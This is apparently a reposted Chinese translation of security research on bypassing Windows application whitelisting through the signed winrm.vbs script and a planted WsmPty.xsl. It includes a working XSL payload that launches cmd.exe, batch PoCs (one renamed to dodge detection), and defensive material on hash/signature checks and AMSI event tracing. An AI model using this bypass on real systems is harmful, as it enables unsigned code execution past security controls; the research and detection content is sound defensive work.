内容简介:winrm.vbs(System31中的一个Windows签名脚本)能够执行攻击者控制的XSL,它不会受到
严正声明:本文仅限于技术探讨,严禁用于其他用途。
绕过技术
winrm.vbs(System31中的一个Windows签名脚本)能够执行攻击者控制的XSL,它不会受到 相关脚本主机 的限制,并实现任意无符号代码执行。
当你向winrm.vbs提供“-format:pretty”或“-format:text”时,它会从cscript.exe所在的目录中相应地导出WsmPty.xsl或WsmTxt.xsl。这也就意味着,如果攻击者能够将cscript.exe拷贝到一个他能控制的且存储了恶意XSL的位置,他们就能够执行任意未签名的代码。实际上,这个问题跟 Casey Smith 的 wmic.exe技术 完全相同。
PoC
攻击操作机制如下:
1. 将WsmPty.xsl或WsmTxt.xsl存放到一个由攻击者控制的地方; 2. 将cscript.exe拷贝到同一个位置; 3. 通过“-format”指定”pretty”或“text”来执行winrm.vbs,具体取决于使用的是WsmPty.xsl或WsmTxt.xsl。
下面给出的是一个恶意XLS样本,我们需要将它放到攻击者控制的目录位置,这里选择的是C:\BypassDir\WsmPty.xsl:
<?xmlversion='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <outputmethod="text"/> <ms:scriptimplements-prefix="user" language="JScript"> <![CDATA[ var r = newActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>
其实我们还可以在WsmPty.xsl中嵌入恶意的 DotNetToJScript Payload,并执行任意未签名代码。接下来,可以使用下列batch文件来执行Payload:
mkdir%SystemDrive%\BypassDir copy%windir%\System32\cscript.exe %SystemDrive%\BypassDir %SystemDrive%\BypassDir\cscript//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty
检测和绕过策略
在实现这项技术的过程中,必须用到的就是攻击者可控的WsmPty.xsl或WsmTxt.xsl。
winrm.vbs会对WsmPty.xsl或WsmTxt.xsl进行硬编码,并显式地将它们绑定到“pretty”和“text”参数上。就此看来,我们似乎没有办法来控制winrm.vbs去执行当前目录中的不同xls文件。从检测的角度来看,WsmPty.xsl或WsmTxt.xsl文件的哈希会跟System 32中原本的文件哈希不同,因此它们会被当作可疑文件,因为合法xls文件的哈希值很少会发生变化。
除此之外,合法WsmPty.xsl或WsmTxt.xsl文件应该是目录签名的,哈希值发生变化后将不会再对其进行签名。也就是说,磁盘中任何没有签名的WsmPty.xsl或WsmTxt.xsl文件都应该是可疑文件。需要注意的是,目录签名验证需要运行“cryptsvc”服务。
基于命令行来检测winrm.vbs是否存在的这种方案相对较弱,因为攻击者可以将winrm.vbs重命名为他们所选择的文件。
为了使用xls文件,这里必须在“format”参数中指定“pretty”或“text”。下面给出的是支持的“format”参数(大小写不敏感):
-format:pretty -format:"pretty" /format:pretty /format:"pretty" -format:text -format:"text" /format:text /format:"text"
虽然构建基于“format”是否存在的检测方案能够捕捉到所有的变化,但这种检测方案是存在问题的。“format”参数是否合法使用将取决于组织所采用的方案。不过除了System32中的cscript.exe和winrm.vbs之外,不太可能从其他任何地方合法调用了。
下面给出的是一个更新版的.bat PoC,它能够绕过cscript.exe的检测:
mkdir%SystemDrive%\BypassDir\cscript.exe copy%windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty
WSH/XSLScript脚本
毫无疑问,攻击者还会继续使用XSL和WSH来进行攻击。理想情况下,攻击者是可以知道Payload到底是从硬盘中执行的还是完全在内存中执行的。虽然Powershell具有这种使用scriptblock日志的能力,但针对WSH却没有相应的工具。随着反恶意软件扫描接口(AMSI)的引入,我们将能够捕捉到WSH内容。
这里我们可以使用logman.exe来对ETL事件进行跟踪,比如说下列命令将能够控制ETW的跟踪操作,并将跟AMSI相关的事件信息保存早AMSITrace.etl之中:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl-ets <Afterstarting the trace, this is when you'd run your malicious code to capture itscontext.> logmanstop AMSITrace -ets
接下来,我们还可以通过输出数据清单来了解更多事件信息:
<instrumentation Manifestxmlns="http://schemas.microsoft.com/win/2004/08/events"> <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"> <events> <provider name="Microsoft-Antimalware-Scan-Interface"guid="{2a576b87-09a7-520e-c21a-4942f0271d67}"resourceFileName="Microsoft-Antimalware-Scan-Interface"messageFileName="Microsoft-Antimalware-Scan-Interface"symbol="MicrosoftAntimalwareScanInterface" source="Xml"> <keywords> <keyword name="Event1"message="$(string.keyword_Event1)" mask="0x1"/> </keywords> <tasks> <task name="task_0"message="$(string.task_task_0)" value="0"/> </tasks> <events> <event value="1101"symbol="task_0" version="0" task="task_0"level="win:Informational" keywords="Event1"template="task_0Args"/> </events> <templates> <templatetid="task_0Args"> <data name="session"inType="win:Pointer"/> <data name="scanStatus"inType="win:UInt8"/> <data name="scanResult"inType="win:UInt32"/> <data name="appname"inType="win:UnicodeString"/> <data name="contentname"inType="win:UnicodeString"/> <data name="contentsize"inType="win:UInt32"/> <data name="originalsize"inType="win:UInt32"/> <data name="content"inType="win:Binary" length="contentsize"/> <data name="hash" inType="win:Binary"/> <data name="contentFiltered"inType="win:Boolean"/> </template> </templates> </provider> </events> </instrumentation> <localization> <resources culture="en-US"> <stringTable> <string id="keyword_Event1"value="Event1"/> <string id="task_task_0"value="task_0"/> </stringTable> </resources> </localization> </instrumentation Manifest>
捕捉到.etl跟踪信息之后,我们可以选择自己喜欢的 工具 来对其进行分析。Powershell中的Gt-WinEvent就是一个很好的内置.etl解析器。为此,我自己编写了一个简单的脚本来分析AMSI事件,这个脚本还可以捕捉到PowerShell中的内容:
#Script author: Matt Graeber (@mattifestation) #logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -oAMSITrace.etl -ets # Doyour malicious things here that would be logged by AMSI #logman stop AMSITrace -ets $OSArchProperty= Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture $OSArch= $OSArchProperty.OSArchitecture $OSPointerSize= 32 if($OSArch -eq '64-bit') { $OSPointerSize = 64 } $AMSIScanEvents= Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath'*[System[EventID=1101]]' | ForEach-Object { if(-not $_.Properties) { # The AMSI provider is not supplyingthe contentname property when WSH content is logged resulting # in Get-WinEvent or Event Viewer beingunable to parse the data based on the schema. # If this bug were not present,retrieving WSH content would be trivial. $PayloadString = ([Xml]$_.ToXml()).Event.ProcessingErrorData.EventPayload [Byte[]] $PayloadBytes =($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object{[Byte] "0x$_"}) $MemoryStream = New-Object -TypeNameIO.MemoryStream -ArgumentList @(,$PayloadBytes) $BinaryReader = New-Object -TypeNameIO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode) switch ($OSPointerSize) { 32 { $Session =$BinaryReader.ReadUInt32() } 64 { $Session =$BinaryReader.ReadUInt64() } } $ScanStatus = $BinaryReader.ReadByte() $ScanResult = $BinaryReader.ReadInt32() $StringBuilder = New-Object -TypeNameText.StringBuilder do { $CharVal =$BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) }while ($CharVal -ne 0) $AppName = $StringBuilder.ToString() $null = $StringBuilder.Clear() $ContentSize =$BinaryReader.ReadInt32() $OriginalSize =$BinaryReader.ReadInt32() $ContentRaw =$BinaryReader.ReadBytes($ContentSize) $Content =[Text.Encoding]::Unicode.GetString($ContentRaw) $Hash =[BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '') [Bool] $ContentFiltered =$BinaryReader.ReadInt32() $BinaryReader.Close() [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $null Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } else { $Session = $_.Properties[0].Value $ScanStatus = $_.Properties[1].Value $ScanResult = $_.Properties[2].Value $AppName = $_.Properties[3].Value $ContentName = $_.Properties[4].Value $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value) $Hash =[BitConverter]::ToString($_.Properties[8].Value).Replace('-', '') $ContentFiltered =$_.Properties[9].Value [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $ContentName Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } } $AMSIScanEvents
捕捉到相关信息之后,我们将能够看到Payload的执行内容:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用 winrm.vbs 绕过应用白名单执行任意未签名代码
- 用 Python 制作一个艺术签名小工具,给自己设计一个优雅的签名
- 强随机数应用链链RandDrop已上线——BLS签名实现阈值签名的流程
- Android应用签名打包
- [原]数字签名
- iOS 签名机制
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C语言名题精选百则技巧篇
冼镜光 / 机械工业出版社 / 2005-7 / 44.00元
《C语言名题精选百则》(技巧篇)收集了100则C语言程序设计题,共分9类。第一类比较简单,主要希望读者了解到《C语言名题精选百则》(技巧篇)的题目、解法与其他书籍之间的差异;第二至六类分别是关于数字、组合数学或离散数学、查找、排序、字符串等方面的题目;第七类列出了一些不太容易归类的题目,如Buffon丢针问题、Dijkstra的三色旗问题等;第八类则收录了一些有趣的、娱乐性的题目,如魔方阵等;第九......一起来看看 《C语言名题精选百则技巧篇》 这本书的介绍吧!